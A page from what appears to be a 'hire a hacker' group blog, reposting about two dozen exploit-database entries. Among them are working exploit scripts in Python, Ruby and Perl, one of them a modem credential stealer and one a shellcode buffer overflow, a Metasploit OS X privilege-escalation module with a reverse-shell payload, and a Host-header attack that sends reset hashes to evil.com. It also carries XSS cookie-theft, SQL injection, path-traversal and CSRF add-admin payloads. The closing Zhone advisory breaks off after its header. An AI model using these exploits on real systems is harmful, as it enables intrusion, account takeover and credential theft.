Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863292521

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
# Exploit Title: SphereFTP Server v2.0 Remote Crash PoC
# Date: 2015-09-02
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.menasoft.com/blog/?p=32
# Software Link: http://www.menasoft.com/sphereftp/sphereftp_win32_v20.zip
# Version: 2.0
# Tested on: Microsoft Windows XP Professional SP3

import socket
target = '192.168.0.166'
exploit = "A" * 1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
s.send("USER "+exploit+"\r\n")
s.close()
HireHackking 
# Exploit Title: MantisBT 1.2.19 - Host header attack vulnerability
# Date: 07-09-2015
# Exploit Author: Pier-Luc Maltais
				  Centre opérationnel de sécurité informatique gouvernemental (COSIG)
# Vendor Homepage: https://www.mantisbt.org/
# Software Link: http://sourceforge.net/projects/mantisbt/files/mantis-stable/
# Version: 1.2.19
# Contact: https://twitter.com/plmaltais
		   http://plmsecurity.net/mantis_host_header_attack

==========================
Vulnerability Description:
==========================

MantisBT 1.2.19 is vulnerable to an Host header attack that can
be exploited by an unauthenticated user to hijack another user account.
 
==================
Technical Details:
==================

This exploit use the Host header attack to poison the link in the
password reset mail. You need to know the victim username and 
e-mail. You also need a remote host that you control to catch the 
verification hash needed for password reset.

1.  Access the password reset feature and fill the form with the
    victim username and e-mail.

    http://{VULNERABLE_MANTIS}/mantisbt/lost_pwd_page.php

2.  Using an intercepting proxy like Burp, change the Host header 
    with your evil host.

    Original request :
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : {VULNERABLE_MANTIS}
    [...]
    
    Modified request : 
    
    POST /mantisbt/lost_pwd_page.php HTTP/1.1
    Host : evil.com
    [...]
    
3.  When the user receive the e-mail, the link is poisoned with 
    the evil host.

    [...]
    visit the following URL to change your password: 
    http://evil.com/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
    [...]
    
4.  Now, when the victim click on the link to reset his password,
    his verification hash will be sent to our evil host. All we 
    have to do is access the verify.php page with his hash, so
    we can change his password and hijack his account.
    
    http://{VULNERABLE_MANTIS}/mantisbt/verify.php?id=1&confirm_hash=81ece020dfcd6d53e02c5323583cdead 
 
=========
Solution:
=========

Use 
$_SERVER['SERVER_NAME'] (server controlled) 
instead of 
$_SERVER['HTTP_HOST'] (client controlled)
 
====================
Disclosure Timeline:
====================

16/02/2015 - Found the vulnerability
17/02/2015 - Wrote this advisory
17/02/2015 - Contacted developers on MantisBT forum
18/02/2015 - Opened an issue in the bug tracker
01/09/2015 - Still not patched, releasing this advisory.
 
===========
References:
===========

[1] http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
[2] http://stackoverflow.com/questions/2297403/http-host-vs-server-name/2297421#2297421
HireHackking 
# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================

#Vulnerability 
#Open Browser: http://[targetURL]//vul_test/yeswiki/wakka.php?wiki=PagesACreer/edit&theme=yeswiki&squelette=/../../../../../../../../../../../../etc/passwd&style=gray.css&bgimg=&newpage=1

require "net/http"
require "uri"

if ARGV.length != 2

puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "Usage: ruby yeswiki_traversal.rb [targetURL wakka.php] [File name]"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/yeswiki/wakka.php /etc/passwd"
puts "  exploit & code by hahwul[www.codeblack.net]"

else
puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "#set Payload..."
target=ARGV[0]
downfile=ARGV[1]
puts " + target : #{target}"
puts " + DownFile : #{downfile}"
puts "#Exploit"
uri = URI.parse("#{target}/vul_test/yeswiki/wakka.php")
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
puts "#End.."
end
HireHackking 
###############################################################################
#+-////////////////////////////////////////////////////////////////////////////
#+-
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access 
#+- Date: October 22, 2013
#+- Author: 0rwelllabs
#+-
#+- Product: TWG850-4B Wireless VoIP Cable Modem
#+- Software Version: ST9C.05.08
#+- Hardware Version: 2.1
#+- BOOT Revision: 2.1.7i
#+- Standard Specification Compliant: DOCSIS 2.0
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
#+- Severity: High
#+-
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
################################################################################



import string
import urllib2
import sys
from time import sleep
import base64
import binascii
import os

save  = 'log_TWG8504B.txt'
log   = open(save,'w')
bifi  = 'GatewaySettings.bin'
refi  = 'RgComputers.asp'
R_C   = ("\033[0;31m")
G_C   = ("\033[1;32m")
D_C   = ("\033[0m"   )


def banner():
os.system('clear')
print "\nThomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read\n \
        \t- 2013 - O_Orwelllabs\n\n"


def hr_data(filename, min=4):
with open(filename, "rb") as f:
        result = ""
        for c in f.read():
            if c in string.printable:
                result += c
                continue
            if len(result) >= min:
                yield result
print >> log, result
            result = ""
print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D\n"%(save)

def checkcreds(router,username,password):
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='Thomson',
                          uri = router,
                          user = username,
                          passwd= password)
opener = urllib2.build_opener(auth_handler)
try:
        urllib2.install_opener(opener)
        status = urllib2.urlopen('%s/%s'%(router,refi))
        print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)

except urllib2.URLError, e:
    if e.code == 401:
        print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)

def checkvuln(router):
try:
print '(+)- Checking if target is vulnerable...'
req = urllib2.Request('%s/%s'%(router,bifi))
response = urllib2.urlopen(req)
page = response.read()
x = open(bifi,'wb')
x.write(page)
x.close()
sleep(1)
print '(+)- The target appears to be vulnerable, lets check it better!'
print '(+)- Searching Credentials...'
sleep(1)
for s in hr_data(bifi):
try:
dec = base64.decodestring(s)
if dec.find(':') != -1:
user,passwd = dec.split(':')
print '(+)- User: %s%s%s'%(G_C,user,D_C)
print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)
print '(+)- Checking if creds are OK...'
checkcreds(router,user,passwd)
except(binascii.Error):
pass
except urllib2.URLError, e:
print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
sys.exit(1)

if __name__ == "__main__":
banner()
        if len(sys.argv) != 2:
                print '[!] %sRun %s router IP%s\n'%(R_C,sys.argv[0],D_C)
                sys.exit(2)
        router = sys.argv[1]
        if not "http" in router:
                        router = "http://"+(sys.argv[1])
        checkvuln(router)
HireHackking 
source: https://www.securityfocus.com/bid/56737/info

The Video Lead Form plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Video Lead Form 0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=video-lead-form&errMsg=%27;alert%28String.fromCharCode%2888,83,83%29%29//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/56694/info

The CStar Design theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/themes/cstardesign/swf/flashmo/flashmoXML.php?id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/56661/info

The Plg Novana plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql]
HireHackking 
source: https://www.securityfocus.com/bid/56660/info

The Webplayer plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/webplayer/config.php?id=[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/56659/info

The Zingiri Web Shop plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Zingiri Web Shop 2.5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php?path=[path]
HireHackking 
source: https://www.securityfocus.com/bid/56580/info

Open-Realty is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions and gain access to the affected application. Other attacks are also possible.

Open-Realty 2.5.8 and prior versions are vulnerable; other versions may also be affected. 

<!-- Add Admin User --> 
 <form 
action="http://localhost/orealty/admin/index.php?action=user_manager" 
method="POST">
      <input type="hidden" name="action" value="createNewUser" />
      <input type="hidden" name="edit&#95;user&#95;name" value="user" />
      <input type="hidden" name="edit&#95;user&#95;pass" 
value="pa55w0rd" />
      <input type="hidden" name="edit&#95;user&#95;pass2" 
value="pa55w0rd" />
      <input type="hidden" name="user&#95;first&#95;name" value="hacker" 
/>
      <input type="hidden" name="user&#95;last&#95;name" value="smith" 
/>
      <input type="hidden" name="user&#95;email" 
value="hacker&#64;yehg&#46;net" />
      <input type="hidden" name="edit&#95;active" value="yes" />
      <input type="hidden" name="edit&#95;isAdmin" value="yes" />
      <input type="hidden" name="edit&#95;isAgent" value="yes" />
      <input type="hidden" name="limitListings" value="&#45;1" />
      <input type="hidden" name="edit&#95;limitFeaturedListings" 
value="&#45;1" />
      <input type="hidden" name="edit&#95;userRank" value="0" />
      <input type="hidden" name="edit&#95;canEditAllListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAllUsers" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditSiteConfig" value="yes" 
/>
      <input type="hidden" name="edit&#95;canEditMemberTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditAgentTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditPropertyClasses" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingTemplate" 
value="yes" />
      <input type="hidden" name="edit&#95;canViewLogs" value="yes" />
      <input type="hidden" name="edit&#95;canModerate" value="yes" />
      <input type="hidden" name="edit&#95;canFeatureListings" 
value="yes" />
      <input type="hidden" name="edit&#95;canEditListingExpiration" 
value="yes" />
      <input type="hidden" name="edit&#95;canExportListings" value="no" 
/>
      <input type="hidden" name="edit&#95;canPages" value="yes" />
      <input type="hidden" name="edit&#95;canVtour" value="yes" />
      <input type="hidden" name="edit&#95;canFiles" value="yes" />
      <input type="hidden" name="edit&#95;canUserFiles" value="yes" />
      <input type="hidden" name="edit&#95;canManageAddons" value="yes" 
/>
      <script>document.forms[0].submit()</script>
    </form>
HireHackking 
source: https://www.securityfocus.com/bid/56681/info

The Ads Box plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/ads-box/iframe_ampl.php?count=[SQLi]
HireHackking 
source: https://www.securityfocus.com/bid/56683/info

Beat Websites is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Beat Websites 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/page_detail.php?id=1 and 1=1

http://www.example.com/page_detail.php?id=1 and 1=2
HireHackking 
source: https://www.securityfocus.com/bid/56687/info

Forescout CounterACT is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Forescout CounterACT 6.3.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/assets/login?a=http://www.evil.com
HireHackking 
source: https://www.securityfocus.com/bid/56691/info

The Wp-ImageZoom theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/wp-imagezoom/zoom.php?id=[SQL]
HireHackking 
# Exploit Title: Cyberoam : Blind SQL Injection
# Date: 31/Aug/2015
# Exploit Author: Dharmendra Kumar Singh
# Contact: dsingh63@outlook.com
# Vendor Homepage: http://www.cyberoam.com
# Software Link: http://www.cyberoam.com/NGFW/
# Version: CR500iNG-XP - 10.6.2 MR-1
# Category: Firewall

1. Description

The username field in the captive portal of Cyberoam NG firewall is vulnerable to SQL Injection and can be exploited to execute sql commands on the database.

The username field is vulnerable to the following types of SQL Injections

a) Boolean-based blind sql injection
b) Stacked queries

2. Proof of Concept

The data send to the server while logging in through the captive portal is like "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"
The query generated in backend server must be something like this
SELECT password FROM table_name WHERE username = 'cyberuser'

a) Boolean-based blind sql injection
If a valid username/password combination is known than boolean-based blind sql injection can be done. If username is set to cyberuser' AND 'x'='x , data send will be "mode=191&username=cyberuser' AND 'x'='x&password=cyberpass&a=1439886198757&producttype=0"
And sql query will become

SELECT password FROM table_name WHERE username = 'cyberuser' AND 'x'='x'
A successfull login message will be received in response in this case. But if username is set to cyberuser' AND 'x'='y than login fail message will be received in response, since x is not equal to y, hence this confirms that username field is vulnerable to boolean-based blind sql injection

b) Stacked queries
if username is set to cyberuser';SELECT PG_SLEEP(5) --  the resultant sql query will become
SELECT password FROM table_name WHERE username = 'cyberuser';SELECT PG_SLEEP(5) -- '
The stacked sql query "SELECT PG_SLEEP(5)" will make the current session’s process sleep until 5 seconds have elapsed. This confirms that Postgresql Server is used and stacked queries can be executed by providing crafted input to username field.

3. Exploit

Since the techniques are blind hence it is recommended to use an automated tool like SQLMap to exploit the vulnerability. The following command can be used to initiate the exploit
sqlmap.py -u "http://example.com:8090/login.xml" --data "mode=191&username=cyberuser&password=cyberpass&a=1439886198757&producttype=0"

4. Solution

The backend server scripts do not sanitize user-supplied data before using it in the SQL query. Hence by properly sanitizing the data received in GET variable "username", the vulnerability can be patched.

5. Conclusion

The Cyberoam NG Firewall devices <= Version: CR500iNG-XP - 10.6.2 MR-1 are vulnerable to blind SQL Injection and this vulnerability can be exploited by an attacker to compromise the application, access or modify data
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
      'Description'    => %q{
        This module exploits the rootpipe vulnerability and bypasses Apple's initial
        fix for the issue by injecting code into a process with the 'admin.writeconfig'
        entitlement.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev'              # Copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-3673'],
        ['URL',   'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
      ],
      'DisclosureDate' => 'Jul 1 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X86_64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9-10.10.3', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
        'PrependSetreuid' => true
      }
    ))

    register_options([
      OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
    ])
  end

  def check
    if ver? && admin?
      vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Copying Directory Utility.app to #{new_app}")
    cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
    cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")

    print_status("Writing bundle plist to `#{plist_file}'")
    write_file(plist_file, plist)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status("Writing malicious shared library to `#{exploit_file}'")
    write_file(exploit_file, plugin_exploit)

    print_status("Running Directory Utility.app")
    cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")

    print_status("Deleting Directory Utility.app")
    cmd_exec('rm -Rf "#{new_app}"')

    print_status('Executing payload...')
    cmd_exec("/bin/sh -c '#{root_file} &'")
  end

  def ver?
    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
      Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
    )
  end

  def admin?
    cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def plugin_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
  end

  def plist_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
  end

  def new_app
    @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
  end

  def plist
    %Q|
      <?xml version="1.0" encoding="UTF-8"?>
      <plist version="1.0">
      <dict>
        <key>CFBundleGetInfoString</key>
        <string>RootpipeBundle</string>
        <key>CFBundleExecutable</key>
        <string>RootpipeBundle</string>
        <key>CFBundleIdentifier</key>
        <string>com.root.pipe</string>
        <key>CFBundleName</key>
        <string>RootpipeBundle</string>
        <key>CFBundleShortVersionString</key>
        <string>0.01</string>
        <key>CFBundleInfoDictionaryVersion</key>
        <string>6.0</string>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>IFMajorVersion</key>
        <integer>0</integer>
        <key>IFMinorVersion</key>
        <integer>1</integer>
      </dict>
      </plist>
    |
  end

  def payload_file
    @payload_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def root_file
    @root_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end

end
HireHackking 
#Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64   
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# Target: Windows 7 Enterprise x64
# CVE: 
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff   = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90";  # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de 
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20; 

open(myfile,'>crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);
HireHackking 
source: https://www.securityfocus.com/bid/56608/info

The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null'
HireHackking 
source: https://www.securityfocus.com/bid/56626/info

Feng Office is prone to a security-bypass vulnerability and an HTML-injection vulnerability.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application.

Feng Office 2.2.1 and 2.0 Beta 3 are vulnerable; other versions may also be affected. 

# Expl0it/P0c/Xss ###################
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

# Expl0it/P0c/Privilege Escalation ###################
<input type="hidden" value="" name="contact[new_contact_from_mail_div_id]">
<input type="hidden" value="" name="contact[hf_contacts]">
<label for="og_1353469580_283914profileFormFirstName">First name:      
<input type="text" value="poc" name="contact[first_name]" maxlength="50" id="og_1353469580_283914profileFormFirstName">
<label for="og_1353469580_283914profileFormSurName">Last name:      
<input type="text" value="poc2" name="contact[surname]" maxlength="50" id="og_1353469580_283914profileFormSurname">    
<label for="og_1353469580_283914profileFormEmail">Email address:</label>      
<input type="text" value="poctest@live.com" name="contact[email]" style="width:260px;" maxlength="100" id="og_1353469580_283914profileFormEmail">
<div style="" class="user-data">
<label>Password:<input type="password" name="contact[user][password]">
<label>Repeat password:<input type="password" name="contact[user][password_a]" class="field-error">
<select name="contact[user][type]">
<option value="1">Super Administrator</option>
<button tabindex="20000" id="og_1353471270_613002submit2" class="submit" type="submit" accesskey="s">Add Per<u>s</u>on</button>
HireHackking 
source: https://www.securityfocus.com/bid/56624/info
 
Dotproject is prone to the following security vulnerabilities:
 
1. Multiple SQL-injection vulnerabilities
 
2. Multiple cross-site scripting vulnerabilities
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/?m=public&a=color_selector&callback=%3C/script%3E%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
http://www.example.com/?m=public&a=date_format&field=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/index.php?m=contacts&a=addedit&contact_id=0&company_id=1&company_name=%22%20onmouseove r=%22javascript:alert%28document.cookie%29%22
http://www.example.com/index.php?a=day_view&date=%22%20onmouseover=%22javascript:alert%28document.cookie%29%2 2
HireHackking 
source: https://www.securityfocus.com/bid/56624/info

Dotproject is prone to the following security vulnerabilities:

1. Multiple SQL-injection vulnerabilities

2. Multiple cross-site scripting vulnerabilities

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dotproject versions prior to 2.1.7 are vulnerable. 

http://www.example.com/index.php?m=contacts&search_string=0%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8, 9,10,11%20INTO%20OUTFILE%20%27file.txt%27%20--%202
http://www.example.com/index.php?m=contacts&where=%27%29%20UNION%20SELECT%20version(),2,3,4,5,6,7,8,9,10,11%2 0INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/index.php?m=departments&dept_id=%27%20UNION%20SELECT%20version%28%29%20INTO%20OUTFILE% 20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=projects&update_project_status=1&project_status=1&project_id[]=%27%20UNION%20SELECT %20version%28%29%20INTO%20OUTFILE%20%27/tmp/file.txt%27%20--%202
http://www.example.com/?m=system&a=billingcode&company_id=0%20UNION%20SELECT%201,2,3,4,5,6%20INTO%20OUTFILE%2 0%27/tmp/file.txt%27%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/56598/info

openSIS is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.

openSIS 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php
HireHackking 
source: https://www.securityfocus.com/bid/56581/info

Splunk is prone to multiple cross-site scripting vulnerabilities and a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

"--splunk-cooked-mode-v3--\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0.\0\0\0\SOH\0\0\0\DC3__s2s_capabilities\0\0\0
\0\STXA\0\0\0\0\0\0\0\0\ENQ_raw\0"
HireHackking 
Document Title:
===============
Zhone ADSL2+ 4P Bridge & Router (Broadcom) - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1591

Download: http://www.zhone.com/support/downloads/cpe/6218-I2/6218-I2_R030220_AnnexA.zip


Release Date:
=============
2015-09-03


Vulnerability Laboratory ID (VL-ID):
====================================
1591


Common Vulnerability Scoring System:
====================================
8.8


Product & Service Introduction:
===============================
At Zhone, Bandwidth Changes Everything™ is more than just a tag line. It is our focus, our fundamental belief and philosophy in 
developing carrier and enterprise-grade fiber access solutions for our customers ensuring bandwidth is never a constraint in the future!

(Copy of the Vendor Homepage: http://www.zhone.com/support/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple remote vulnerabilities in the official Zhone ADSL2+ 4 Port Wireless Bridge & Router (Broadcom).


Vulnerability Disclosure Timeline:
==================================
2015-09-03:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Zhone
